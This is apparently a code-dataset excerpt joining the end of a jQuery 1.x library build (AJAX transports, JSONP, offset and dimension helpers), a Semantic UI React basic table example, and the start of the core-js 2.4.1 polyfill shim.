/^(get|post|head|put|delete|options)$/i.test( this.type ) &&
createStandardXHR() || createActiveXHR();
} :
// For all other browsers, use the standard XMLHttpRequest object
createStandardXHR;
var xhrId = 0,
xhrCallbacks = {},
xhrSupported = jQuery.ajaxSettings.xhr();
// Support: IE<10
// Open requests must be manually aborted on unload (#5280)
if ( window.ActiveXObject ) {
jQuery( window ).on( "unload", function() {
for ( var key in xhrCallbacks ) {
xhrCallbacks[ key ]( undefined, true );
}
});
}
// Determine support properties
support.cors = !!xhrSupported && ( "withCredentials" in xhrSupported );
xhrSupported = support.ajax = !!xhrSupported;
// Create transport if the browser can provide an xhr
if ( xhrSupported ) {
jQuery.ajaxTransport(function( options ) {
// Cross domain only allowed if supported through XMLHttpRequest
if ( !options.crossDomain || support.cors ) {
var callback;
return {
send: function( headers, complete ) {
var i,
xhr = options.xhr(),
id = ++xhrId;
// Open the socket
xhr.open( options.type, options.url, options.async, options.username, options.password );
// Apply custom fields if provided
if ( options.xhrFields ) {
for ( i in options.xhrFields ) {
xhr[ i ] = options.xhrFields[ i ];
}
}
// Override mime type if needed
if ( options.mimeType && xhr.overrideMimeType ) {
xhr.overrideMimeType( options.mimeType );
}
// X-Requested-With header
// For cross-domain requests, seeing as conditions for a preflight are
// akin to a jigsaw puzzle, we simply never set it to be sure.
// (it can always be set on a per-request basis or even using ajaxSetup)
// For same-domain requests, won't change header if already provided.
if ( !options.crossDomain && !headers["X-Requested-With"] ) {
headers["X-Requested-With"] = "XMLHttpRequest";
}
// Set headers
for ( i in headers ) {
// Support: IE<9
// IE's ActiveXObject throws a 'Type Mismatch' exception when setting
// request header to a null-value.
//
// To keep consistent with other XHR implementations, cast the value
// to string and ignore `undefined`.
if ( headers[ i ] !== undefined ) {
xhr.setRequestHeader( i, headers[ i ] + "" );
}
}
// Do send the request
// This may raise an exception which is actually
// handled in jQuery.ajax (so no try/catch here)
xhr.send( ( options.hasContent && options.data ) || null );
// Listener
callback = function( _, isAbort ) {
var status, statusText, responses;
// Was never called and is aborted or complete
if ( callback && ( isAbort || xhr.readyState === 4 ) ) {
// Clean up
delete xhrCallbacks[ id ];
callback = undefined;
xhr.onreadystatechange = jQuery.noop;
// Abort manually if needed
if ( isAbort ) {
if ( xhr.readyState !== 4 ) {
xhr.abort();
}
} else {
responses = {};
status = xhr.status;
// Support: IE<10
// Accessing binary-data responseText throws an exception
// (#11426)
if ( typeof xhr.responseText === "string" ) {
responses.text = xhr.responseText;
}
// Firefox throws an exception when accessing
// statusText for faulty cross-domain requests
try {
statusText = xhr.statusText;
} catch( e ) {
// We normalize with Webkit giving an empty statusText
statusText = "";
}
// Filter status for non standard behaviors
// If the request is local and we have data: assume a success
// (success with no data won't get notified, that's the best we
// can do given current implementations)
if ( !status && options.isLocal && !options.crossDomain ) {
status = responses.text ? 200 : 404;
// IE - #1450: sometimes returns 1223 when it should be 204
} else if ( status === 1223 ) {
status = 204;
}
}
}
// Call complete if needed
if ( responses ) {
complete( status, statusText, responses, xhr.getAllResponseHeaders() );
}
};
if ( !options.async ) {
// if we're in sync mode we fire the callback
callback();
} else if ( xhr.readyState === 4 ) {
// (IE6 & IE7) if it's in cache and has been
// retrieved directly we need to fire the callback
setTimeout( callback );
} else {
// Add to the list of active xhr callbacks
xhr.onreadystatechange = xhrCallbacks[ id ] = callback;
}
},
abort: function() {
if ( callback ) {
callback( undefined, true );
}
}
};
}
});
}
// Functions to create xhrs
function createStandardXHR() {
try {
return new window.XMLHttpRequest();
} catch( e ) {}
}
function createActiveXHR() {
try {
return new window.ActiveXObject( "Microsoft.XMLHTTP" );
} catch( e ) {}
}
// Install script dataType
jQuery.ajaxSetup({
accepts: {
script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
},
contents: {
script: /(?:java|ecma)script/
},
converters: {
"text script": function( text ) {
jQuery.globalEval( text );
return text;
}
}
});
// Handle cache's special case and global
jQuery.ajaxPrefilter( "script", function( s ) {
if ( s.cache === undefined ) {
s.cache = false;
}
if ( s.crossDomain ) {
s.type = "GET";
s.global = false;
}
});
// Bind script tag hack transport
jQuery.ajaxTransport( "script", function(s) {
// This transport only deals with cross domain requests
if ( s.crossDomain ) {
var script,
head = document.head || jQuery("head")[0] || document.documentElement;
return {
send: function( _, callback ) {
script = document.createElement("script");
script.async = true;
if ( s.scriptCharset ) {
script.charset = s.scriptCharset;
}
script.src = s.url;
// Attach handlers for all browsers
script.onload = script.onreadystatechange = function( _, isAbort ) {
if ( isAbort || !script.readyState || /loaded|complete/.test( script.readyState ) ) {
// Handle memory leak in IE
script.onload = script.onreadystatechange = null;
// Remove the script
if ( script.parentNode ) {
script.parentNode.removeChild( script );
}
// Dereference the script
script = null;
// Callback if not abort
if ( !isAbort ) {
callback( 200, "success" );
}
}
};
// Circumvent IE6 bugs with base elements (#2709 and #4378) by prepending
// Use native DOM manipulation to avoid our domManip AJAX trickery
head.insertBefore( script, head.firstChild );
},
abort: function() {
if ( script ) {
script.onload( undefined, true );
}
}
};
}
});
var oldCallbacks = [],
rjsonp = /(=)\?(?=&|$)|\?\?/;
// Default jsonp settings
jQuery.ajaxSetup({
jsonp: "callback",
jsonpCallback: function() {
var callback = oldCallbacks.pop() || ( jQuery.expando + "_" + ( nonce++ ) );
this[ callback ] = true;
return callback;
}
});
// Detect, normalize options and install callbacks for jsonp requests
jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
var callbackName, overwritten, responseContainer,
jsonProp = s.jsonp !== false && ( rjsonp.test( s.url ) ?
"url" :
typeof s.data === "string" && !( s.contentType || "" ).indexOf("application/x-www-form-urlencoded") && rjsonp.test( s.data ) && "data"
);
// Handle iff the expected data type is "jsonp" or we have a parameter to set
if ( jsonProp || s.dataTypes[ 0 ] === "jsonp" ) {
// Get callback name, remembering preexisting value associated with it
callbackName = s.jsonpCallback = jQuery.isFunction( s.jsonpCallback ) ?
s.jsonpCallback() :
s.jsonpCallback;
// Insert callback into url or form data
if ( jsonProp ) {
s[ jsonProp ] = s[ jsonProp ].replace( rjsonp, "$1" + callbackName );
} else if ( s.jsonp !== false ) {
s.url += ( rquery.test( s.url ) ? "&" : "?" ) + s.jsonp + "=" + callbackName;
}
// Use data converter to retrieve json after script execution
s.converters["script json"] = function() {
if ( !responseContainer ) {
jQuery.error( callbackName + " was not called" );
}
return responseContainer[ 0 ];
};
// force json dataType
s.dataTypes[ 0 ] = "json";
// Install callback
overwritten = window[ callbackName ];
window[ callbackName ] = function() {
responseContainer = arguments;
};
// Clean-up function (fires after converters)
jqXHR.always(function() {
// Restore preexisting value
window[ callbackName ] = overwritten;
// Save back as free
if ( s[ callbackName ] ) {
// make sure that re-using the options doesn't screw things around
s.jsonpCallback = originalSettings.jsonpCallback;
// save the callback name for future use
oldCallbacks.push( callbackName );
}
// Call if it was a function and we have a response
if ( responseContainer && jQuery.isFunction( overwritten ) ) {
overwritten( responseContainer[ 0 ] );
}
responseContainer = overwritten = undefined;
});
// Delegate to script
return "script";
}
});
// data: string of html
// context (optional): If specified, the fragment will be created in this context, defaults to document
// keepScripts (optional): If true, will include scripts passed in the html string
jQuery.parseHTML = function( data, context, keepScripts ) {
if ( !data || typeof data !== "string" ) {
return null;
}
if ( typeof context === "boolean" ) {
keepScripts = context;
context = false;
}
context = context || document;
var parsed = rsingleTag.exec( data ),
scripts = !keepScripts && [];
// Single tag
if ( parsed ) {
return [ context.createElement( parsed[1] ) ];
}
parsed = jQuery.buildFragment( [ data ], context, scripts );
if ( scripts && scripts.length ) {
jQuery( scripts ).remove();
}
return jQuery.merge( [], parsed.childNodes );
};
// Keep a copy of the old load method
var _load = jQuery.fn.load;
/**
* Load a url into a page
*/
jQuery.fn.load = function( url, params, callback ) {
if ( typeof url !== "string" && _load ) {
return _load.apply( this, arguments );
}
var selector, response, type,
self = this,
off = url.indexOf(" ");
if ( off >= 0 ) {
selector = jQuery.trim( url.slice( off, url.length ) );
url = url.slice( 0, off );
}
// If it's a function
if ( jQuery.isFunction( params ) ) {
// We assume that it's the callback
callback = params;
params = undefined;
// Otherwise, build a param string
} else if ( params && typeof params === "object" ) {
type = "POST";
}
// If we have elements to modify, make the request
if ( self.length > 0 ) {
jQuery.ajax({
url: url,
// if "type" variable is undefined, then "GET" method will be used
type: type,
dataType: "html",
data: params
}).done(function( responseText ) {
// Save response for use in complete callback
response = arguments;
self.html( selector ?
// If a selector was specified, locate the right elements in a dummy div
// Exclude scripts to avoid IE 'Permission Denied' errors
jQuery("<div>").append( jQuery.parseHTML( responseText ) ).find( selector ) :
// Otherwise use the full result
responseText );
}).complete( callback && function( jqXHR, status ) {
self.each( callback, response || [ jqXHR.responseText, status, jqXHR ] );
});
}
return this;
};
jQuery.expr.filters.animated = function( elem ) {
return jQuery.grep(jQuery.timers, function( fn ) {
return elem === fn.elem;
}).length;
};
var docElem = window.document.documentElement;
/**
* Gets a window from an element
*/
function getWindow( elem ) {
return jQuery.isWindow( elem ) ?
elem :
elem.nodeType === 9 ?
elem.defaultView || elem.parentWindow :
false;
}
jQuery.offset = {
setOffset: function( elem, options, i ) {
var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition,
position = jQuery.css( elem, "position" ),
curElem = jQuery( elem ),
props = {};
// set position first, in-case top/left are set even on static elem
if ( position === "static" ) {
elem.style.position = "relative";
}
curOffset = curElem.offset();
curCSSTop = jQuery.css( elem, "top" );
curCSSLeft = jQuery.css( elem, "left" );
calculatePosition = ( position === "absolute" || position === "fixed" ) &&
jQuery.inArray("auto", [ curCSSTop, curCSSLeft ] ) > -1;
// need to be able to calculate position if either top or left is auto and position is either absolute or fixed
if ( calculatePosition ) {
curPosition = curElem.position();
curTop = curPosition.top;
curLeft = curPosition.left;
} else {
curTop = parseFloat( curCSSTop ) || 0;
curLeft = parseFloat( curCSSLeft ) || 0;
}
if ( jQuery.isFunction( options ) ) {
options = options.call( elem, i, curOffset );
}
if ( options.top != null ) {
props.top = ( options.top - curOffset.top ) + curTop;
}
if ( options.left != null ) {
props.left = ( options.left - curOffset.left ) + curLeft;
}
if ( "using" in options ) {
options.using.call( elem, props );
} else {
curElem.css( props );
}
}
};
jQuery.fn.extend({
offset: function( options ) {
if ( arguments.length ) {
return options === undefined ?
this :
this.each(function( i ) {
jQuery.offset.setOffset( this, options, i );
});
}
var docElem, win,
box = { top: 0, left: 0 },
elem = this[ 0 ],
doc = elem && elem.ownerDocument;
if ( !doc ) {
return;
}
docElem = doc.documentElement;
// Make sure it's not a disconnected DOM node
if ( !jQuery.contains( docElem, elem ) ) {
return box;
}
// If we don't have gBCR, just use 0,0 rather than error
// BlackBerry 5, iOS 3 (original iPhone)
if ( typeof elem.getBoundingClientRect !== strundefined ) {
box = elem.getBoundingClientRect();
}
win = getWindow( doc );
return {
top: box.top + ( win.pageYOffset || docElem.scrollTop ) - ( docElem.clientTop || 0 ),
left: box.left + ( win.pageXOffset || docElem.scrollLeft ) - ( docElem.clientLeft || 0 )
};
},
position: function() {
if ( !this[ 0 ] ) {
return;
}
var offsetParent, offset,
parentOffset = { top: 0, left: 0 },
elem = this[ 0 ];
// fixed elements are offset from window (parentOffset = {top:0, left: 0}, because it is its only offset parent
if ( jQuery.css( elem, "position" ) === "fixed" ) {
// we assume that getBoundingClientRect is available when computed position is fixed
offset = elem.getBoundingClientRect();
} else {
// Get *real* offsetParent
offsetParent = this.offsetParent();
// Get correct offsets
offset = this.offset();
if ( !jQuery.nodeName( offsetParent[ 0 ], "html" ) ) {
parentOffset = offsetParent.offset();
}
// Add offsetParent borders
parentOffset.top += jQuery.css( offsetParent[ 0 ], "borderTopWidth", true );
parentOffset.left += jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true );
}
// Subtract parent offsets and element margins
// note: when an element has margin: auto the offsetLeft and marginLeft
// are the same in Safari causing offset.left to incorrectly be 0
return {
top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ),
left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true)
};
},
offsetParent: function() {
return this.map(function() {
var offsetParent = this.offsetParent || docElem;
while ( offsetParent && ( !jQuery.nodeName( offsetParent, "html" ) && jQuery.css( offsetParent, "position" ) === "static" ) ) {
offsetParent = offsetParent.offsetParent;
}
return offsetParent || docElem;
});
}
});
// Create scrollLeft and scrollTop methods
jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) {
var top = /Y/.test( prop );
jQuery.fn[ method ] = function( val ) {
return access( this, function( elem, method, val ) {
var win = getWindow( elem );
if ( val === undefined ) {
return win ? (prop in win) ? win[ prop ] :
win.document.documentElement[ method ] :
elem[ method ];
}
if ( win ) {
win.scrollTo(
!top ? val : jQuery( win ).scrollLeft(),
top ? val : jQuery( win ).scrollTop()
);
} else {
elem[ method ] = val;
}
}, method, val, arguments.length, null );
};
});
// Add the top/left cssHooks using jQuery.fn.position
// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084
// getComputedStyle returns percent when specified for top/left/bottom/right
// rather than make the css module depend on the offset module, we just check for it here
jQuery.each( [ "top", "left" ], function( i, prop ) {
jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition,
function( elem, computed ) {
if ( computed ) {
computed = curCSS( elem, prop );
// if curCSS returns percentage, fallback to offset
return rnumnonpx.test( computed ) ?
jQuery( elem ).position()[ prop ] + "px" :
computed;
}
}
);
});
// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods
jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, function( defaultExtra, funcName ) {
// margin is only for outerHeight, outerWidth
jQuery.fn[ funcName ] = function( margin, value ) {
var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ),
extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" );
return access( this, function( elem, type, value ) {
var doc;
if ( jQuery.isWindow( elem ) ) {
// As of 5/8/2012 this will yield incorrect results for Mobile Safari, but there
// isn't a whole lot we can do. See pull request at this URL for discussion:
// https://github.com/jquery/jquery/pull/764
return elem.document.documentElement[ "client" + name ];
}
// Get document width or height
if ( elem.nodeType === 9 ) {
doc = elem.documentElement;
// Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], whichever is greatest
// unfortunately, this causes bug #3838 in IE6/8 only, but there is currently no good, small way to fix it.
return Math.max(
elem.body[ "scroll" + name ], doc[ "scroll" + name ],
elem.body[ "offset" + name ], doc[ "offset" + name ],
doc[ "client" + name ]
);
}
return value === undefined ?
// Get width or height on the element, requesting but not forcing parseFloat
jQuery.css( elem, type, extra ) :
// Set width or height on the element
jQuery.style( elem, type, value, extra );
}, type, chainable ? margin : undefined, chainable, null );
};
});
});
// The number of elements contained in the matched element set
jQuery.fn.size = function() {
return this.length;
};
jQuery.fn.andSelf = jQuery.fn.addBack;
// Register as a named AMD module, since jQuery can be concatenated with other
// files that may use define, but not via a proper concatenation script that
// understands anonymous AMD modules. A named AMD is safest and most robust
// way to register. Lowercase jquery is used because AMD module names are
// derived from file names, and jQuery is normally delivered in a lowercase
// file name. Do this after creating the global so that if an AMD module wants
// to call noConflict to hide this version of jQuery, it will work.
// Note that for maximum portability, libraries that are not jQuery should
// declare themselves as anonymous modules, and avoid setting a global if an
// AMD loader is present. jQuery is a special case. For more information, see
// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon
if ( typeof define === "function" && define.amd ) {
define( "jquery", [], function() {
return jQuery;
});
}
var
// Map over jQuery in case of overwrite
_jQuery = window.jQuery,
// Map over the $ in case of overwrite
_$ = window.$;
jQuery.noConflict = function( deep ) {
if ( window.$ === jQuery ) {
window.$ = _$;
}
if ( deep && window.jQuery === jQuery ) {
window.jQuery = _jQuery;
}
return jQuery;
};
// Expose jQuery and $ identifiers, even in
// AMD (#7102#comment:10, https://github.com/jquery/jquery/pull/557)
// and CommonJS for browser emulators (#13566)
if ( typeof noGlobal === strundefined ) {
window.jQuery = window.$ = jQuery;
}
return jQuery;
}));
|
docs/src/examples/collections/Table/Variations/TableExampleBasic.js
|
Semantic-Org/Semantic-UI-React
|
import React from 'react'
import { Table } from 'semantic-ui-react'
const TableExampleBasic = () => (
<Table basic>
<Table.Header>
<Table.Row>
<Table.HeaderCell>Name</Table.HeaderCell>
<Table.HeaderCell>Status</Table.HeaderCell>
<Table.HeaderCell>Notes</Table.HeaderCell>
</Table.Row>
</Table.Header>
<Table.Body>
<Table.Row>
<Table.Cell>John</Table.Cell>
<Table.Cell>Approved</Table.Cell>
<Table.Cell>None</Table.Cell>
</Table.Row>
<Table.Row>
<Table.Cell>Jamie</Table.Cell>
<Table.Cell>Approved</Table.Cell>
<Table.Cell>Requires call</Table.Cell>
</Table.Row>
<Table.Row>
<Table.Cell>Jill</Table.Cell>
<Table.Cell>Denied</Table.Cell>
<Table.Cell>None</Table.Cell>
</Table.Row>
</Table.Body>
</Table>
)
export default TableExampleBasic
|
node_modules/babel-register/node_modules/core-js/client/shim.js
|
bdkay/node-that-band
|
/**
* core-js 2.4.1
* https://github.com/zloirock/core-js
* License: http://rock.mit-license.org
* © 2016 Denis Pushkarev
*/
!function(__e, __g, undefined){
'use strict';
/******/ (function(modules) { // webpackBootstrap
/******/ // The module cache
/******/ var installedModules = {};
/******/ // The require function
/******/ function __webpack_require__(moduleId) {
/******/ // Check if module is in cache
/******/ if(installedModules[moduleId])
/******/ return installedModules[moduleId].exports;
/******/ // Create a new module (and put it into the cache)
/******/ var module = installedModules[moduleId] = {
/******/ exports: {},
/******/ id: moduleId,
/******/ loaded: false
/******/ };
/******/ // Execute the module function
/******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/ // Flag the module as loaded
/******/ module.loaded = true;
/******/ // Return the exports of the module
/******/ return module.exports;
/******/ }
/******/ // expose the modules object (__webpack_modules__)
/******/ __webpack_require__.m = modules;
/******/ // expose the module cache
/******/ __webpack_require__.c = installedModules;
/******/ // __webpack_public_path__
/******/ __webpack_require__.p = "";
/******/ // Load entry module and return exports
/******/ return __webpack_require__(0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ function(module, exports, __webpack_require__) {
__webpack_require__(1);
__webpack_require__(50);
__webpack_require__(51);
__webpack_require__(52);
__webpack_require__(54);
__webpack_require__(55);
__webpack_require__(58);
__webpack_require__(59);
__webpack_require__(60);
__webpack_require__(61);
__webpack_require__(62);
__webpack_require__(63);
__webpack_require__(64);
__webpack_require__(65);
__webpack_require__(66);
__webpack_require__(68);
__webpack_require__(70);
__webpack_require__(72);
__webpack_require__(74);
__webpack_require__(77);
__webpack_require__(78);
__webpack_require__(79);
__webpack_require__(83);
__webpack_require__(86);
__webpack_require__(87);
__webpack_require__(88);
__webpack_require__(89);
__webpack_require__(91);
__webpack_require__(92);
__webpack_require__(93);
__webpack_require__(94);
__webpack_require__(95);
__webpack_require__(97);
__webpack_require__(99);
__webpack_require__(100);
__webpack_require__(101);
__webpack_require__(103);
__webpack_require__(104);
__webpack_require__(105);
__webpack_require__(107);
__webpack_require__(108);
__webpack_require__(109);
__webpack_require__(111);
__webpack_require__(112);
__webpack_require__(113);
__webpack_require__(114);
__webpack_require__(115);
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__webpack_require__(203);
__webpack_require__(206);
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__webpack_require__(209);
__webpack_require__(210);
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__webpack_require__(255);
__webpack_require__(256);
__webpack_require__(258);
__webpack_require__(259);
__webpack_require__(261);
__webpack_require__(262);
__webpack_require__(263);
__webpack_require__(264);
__webpack_require__(267);
__webpack_require__(268);
__webpack_require__(269);
__webpack_require__(270);
__webpack_require__(271);
__webpack_require__(272);
__webpack_require__(273);
__webpack_require__(274);
__webpack_require__(276);
__webpack_require__(277);
__webpack_require__(278);
__webpack_require__(279);
__webpack_require__(280);
__webpack_require__(281);
__webpack_require__(282);
__webpack_require__(283);
__webpack_require__(284);
__webpack_require__(285);
__webpack_require__(286);
__webpack_require__(287);
module.exports = __webpack_require__(288);
/***/ },
/* 1 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
// ECMAScript 6 symbols shim
var global = __webpack_require__(2)
, has = __webpack_require__(3)
, DESCRIPTORS = __webpack_require__(4)
, $export = __webpack_require__(6)
, redefine = __webpack_require__(16)
, META = __webpack_require__(20).KEY
, $fails = __webpack_require__(5)
, shared = __webpack_require__(21)
, setToStringTag = __webpack_require__(22)
, uid = __webpack_require__(17)
, wks = __webpack_require__(23)
, wksExt = __webpack_require__(24)
, wksDefine = __webpack_require__(25)
, keyOf = __webpack_require__(27)
, enumKeys = __webpack_require__(40)
, isArray = __webpack_require__(43)
, anObject = __webpack_require__(10)
, toIObject = __webpack_require__(30)
, toPrimitive = __webpack_require__(14)
, createDesc = __webpack_require__(15)
, _create = __webpack_require__(44)
, gOPNExt = __webpack_require__(47)
, $GOPD = __webpack_require__(49)
, $DP = __webpack_require__(9)
, $keys = __webpack_require__(28)
, gOPD = $GOPD.f
, dP = $DP.f
, gOPN = gOPNExt.f
, $Symbol = global.Symbol
, $JSON = global.JSON
, _stringify = $JSON && $JSON.stringify
, PROTOTYPE = 'prototype'
, HIDDEN = wks('_hidden')
, TO_PRIMITIVE = wks('toPrimitive')
, isEnum = {}.propertyIsEnumerable
, SymbolRegistry = shared('symbol-registry')
, AllSymbols = shared('symbols')
, OPSymbols = shared('op-symbols')
, ObjectProto = Object[PROTOTYPE]
, USE_NATIVE = typeof $Symbol == 'function'
, QObject = global.QObject;
// Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173
var setter = !QObject || !QObject[PROTOTYPE] || !QObject[PROTOTYPE].findChild;
// fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687
var setSymbolDesc = DESCRIPTORS && $fails(function(){
return _create(dP({}, 'a', {
get: function(){ return dP(this, 'a', {value: 7}).a; }
})).a != 7;
}) ? function(it, key, D){
var protoDesc = gOPD(ObjectProto, key);
if(protoDesc)delete ObjectProto[key];
dP(it, key, D);
if(protoDesc && it !== ObjectProto)dP(ObjectProto, key, protoDesc);
} : dP;
var wrap = function(tag){
var sym = AllSymbols[tag] = _create($Symbol[PROTOTYPE]);
sym._k = tag;
return sym;
};
var isSymbol = USE_NATIVE && typeof $Symbol.iterator == 'symbol' ? function(it){
return typeof it == 'symbol';
} : function(it){
return it instanceof $Symbol;
};
var $defineProperty = function defineProperty(it, key, D){
if(it === ObjectProto)$defineProperty(OPSymbols, key, D);
anObject(it);
key = toPrimitive(key, true);
anObject(D);
if(has(AllSymbols, key)){
if(!D.enumerable){
if(!has(it, HIDDEN))dP(it, HIDDEN, createDesc(1, {}));
it[HIDDEN][key] = true;
} else {
if(has(it, HIDDEN) && it[HIDDEN][key])it[HIDDEN][key] = false;
D = _create(D, {enumerable: createDesc(0, false)});
} return setSymbolDesc(it, key, D);
} return dP(it, key, D);
};
var $defineProperties = function defineProperties(it, P){
anObject(it);
var keys = enumKeys(P = toIObject(P))
, i = 0
, l = keys.length
, key;
while(l > i)$defineProperty(it, key = keys[i++], P[key]);
return it;
};
var $create = function create(it, P){
return P === undefined ? _create(it) : $defineProperties(_create(it), P);
};
var $propertyIsEnumerable = function propertyIsEnumerable(key){
var E = isEnum.call(this, key = toPrimitive(key, true));
if(this === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key))return false;
return E || !has(this, key) || !has(AllSymbols, key) || has(this, HIDDEN) && this[HIDDEN][key] ? E : true;
};
var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(it, key){
it = toIObject(it);
key = toPrimitive(key, true);
if(it === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key))return;
var D = gOPD(it, key);
if(D && has(AllSymbols, key) && !(has(it, HIDDEN) && it[HIDDEN][key]))D.enumerable = true;
return D;
};
var $getOwnPropertyNames = function getOwnPropertyNames(it){
var names = gOPN(toIObject(it))
, result = []
, i = 0
, key;
while(names.length > i){
if(!has(AllSymbols, key = names[i++]) && key != HIDDEN && key != META)result.push(key);
} return result;
};
var $getOwnPropertySymbols = function getOwnPropertySymbols(it){
var IS_OP = it === ObjectProto
, names = gOPN(IS_OP ? OPSymbols : toIObject(it))
, result = []
, i = 0
, key;
while(names.length > i){
if(has(AllSymbols, key = names[i++]) && (IS_OP ? has(ObjectProto, key) : true))result.push(AllSymbols[key]);
} return result;
};
// 19.4.1.1 Symbol([description])
if(!USE_NATIVE){
$Symbol = function Symbol(){
if(this instanceof $Symbol)throw TypeError('Symbol is not a constructor!');
var tag = uid(arguments.length > 0 ? arguments[0] : undefined);
var $set = function(value){
if(this === ObjectProto)$set.call(OPSymbols, value);
if(has(this, HIDDEN) && has(this[HIDDEN], tag))this[HIDDEN][tag] = false;
setSymbolDesc(this, tag, createDesc(1, value));
};
if(DESCRIPTORS && setter)setSymbolDesc(ObjectProto, tag, {configurable: true, set: $set});
return wrap(tag);
};
redefine($Symbol[PROTOTYPE], 'toString', function toString(){
return this._k;
});
$GOPD.f = $getOwnPropertyDescriptor;
$DP.f = $defineProperty;
__webpack_require__(48).f = gOPNExt.f = $getOwnPropertyNames;
__webpack_require__(42).f = $propertyIsEnumerable;
__webpack_require__(41).f = $getOwnPropertySymbols;
if(DESCRIPTORS && !__webpack_require__(26)){
redefine(ObjectProto, 'propertyIsEnumerable', $propertyIsEnumerable, true);
}
wksExt.f = function(name){
return wrap(wks(name));
}
}
$export($export.G + $export.W + $export.F * !USE_NATIVE, {Symbol: $Symbol});
for(var symbols = (
// 19.4.2.2, 19.4.2.3, 19.4.2.4, 19.4.2.6, 19.4.2.8, 19.4.2.9, 19.4.2.10, 19.4.2.11, 19.4.2.12, 19.4.2.13, 19.4.2.14
'hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables'
).split(','), i = 0; symbols.length > i; )wks(symbols[i++]);
for(var symbols = $keys(wks.store), i = 0; symbols.length > i; )wksDefine(symbols[i++]);
$export($export.S + $export.F * !USE_NATIVE, 'Symbol', {
// 19.4.2.1 Symbol.for(key)
'for': function(key){
return has(SymbolRegistry, key += '')
? SymbolRegistry[key]
: SymbolRegistry[key] = $Symbol(key);
},
// 19.4.2.5 Symbol.keyFor(sym)
keyFor: function keyFor(key){
if(isSymbol(key))return keyOf(SymbolRegistry, key);
throw TypeError(key + ' is not a symbol!');
},
useSetter: function(){ setter = true; },
useSimple: function(){ setter = false; }
});
$export($export.S + $export.F * !USE_NATIVE, 'Object', {
// 19.1.2.2 Object.create(O [, Properties])
create: $create,
// 19.1.2.4 Object.defineProperty(O, P, Attributes)
defineProperty: $defineProperty,
// 19.1.2.3 Object.defineProperties(O, Properties)
defineProperties: $defineProperties,
// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P)
getOwnPropertyDescriptor: $getOwnPropertyDescriptor,
// 19.1.2.7 Object.getOwnPropertyNames(O)
getOwnPropertyNames: $getOwnPropertyNames,
// 19.1.2.8 Object.getOwnPropertySymbols(O)
getOwnPropertySymbols: $getOwnPropertySymbols
});
// 24.3.2 JSON.stringify(value [, replacer [, space]])
$JSON && $export($export.S + $export.F * (!USE_NATIVE || $fails(function(){
var S = $Symbol();
// MS Edge converts symbol values to JSON as {}
// WebKit converts symbol values to JSON as null
// V8 throws on boxed symbols
return _stringify([S]) != '[null]' || _stringify({a: S}) != '{}' || _stringify(Object(S)) != '{}';
})), 'JSON', {
stringify: function stringify(it){
if(it === undefined || isSymbol(it))return; // IE8 returns string on undefined
var args = [it]
, i = 1
, replacer, $replacer;
while(arguments.length > i)args.push(arguments[i++]);
replacer = args[1];
if(typeof replacer == 'function')$replacer = replacer;
if($replacer || !isArray(replacer))replacer = function(key, value){
if($replacer)value = $replacer.call(this, key, value);
if(!isSymbol(value))return value;
};
args[1] = replacer;
return _stringify.apply($JSON, args);
}
});
// 19.4.3.4 Symbol.prototype[@@toPrimitive](hint)
$Symbol[PROTOTYPE][TO_PRIMITIVE] || __webpack_require__(8)($Symbol[PROTOTYPE], TO_PRIMITIVE, $Symbol[PROTOTYPE].valueOf);
// 19.4.3.5 Symbol.prototype[@@toStringTag]
setToStringTag($Symbol, 'Symbol');
// 20.2.1.9 Math[@@toStringTag]
setToStringTag(Math, 'Math', true);
// 24.3.3 JSON[@@toStringTag]
setToStringTag(global.JSON, 'JSON', true);
/***/ },
/* 2 */
/***/ function(module, exports) {
// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028
var global = module.exports = typeof window != 'undefined' && window.Math == Math
? window : typeof self != 'undefined' && self.Math == Math ? self : Function('return this')();
if(typeof __g == 'number')__g = global; // eslint-disable-line no-undef
/***/ },
/* 3 */
/***/ function(module, exports) {
var hasOwnProperty = {}.hasOwnProperty;
module.exports = function(it, key){
return hasOwnProperty.call(it, key);
};
/***/ },
/* 4 */
/***/ function(module, exports, __webpack_require__) {
// Thank's IE8 for his funny defineProperty
module.exports = !__webpack_require__(5)(function(){
return Object.defineProperty({}, 'a', {get: function(){ return 7; }}).a != 7;
});
/***/ },
/* 5 */
/***/ function(module, exports) {
module.exports = function(exec){
try {
return !!exec();
} catch(e){
return true;
}
};
/***/ },
/* 6 */
/***/ function(module, exports, __webpack_require__) {
var global = __webpack_require__(2)
, core = __webpack_require__(7)
, hide = __webpack_require__(8)
, redefine = __webpack_require__(16)
, ctx = __webpack_require__(18)
, PROTOTYPE = 'prototype';
var $export = function(type, name, source){
var IS_FORCED = type & $export.F
, IS_GLOBAL = type & $export.G
, IS_STATIC = type & $export.S
, IS_PROTO = type & $export.P
, IS_BIND = type & $export.B
, target = IS_GLOBAL ? global : IS_STATIC ? global[name] || (global[name] = {}) : (global[name] || {})[PROTOTYPE]
, exports = IS_GLOBAL ? core : core[name] || (core[name] = {})
, expProto = exports[PROTOTYPE] || (exports[PROTOTYPE] = {})
, key, own, out, exp;
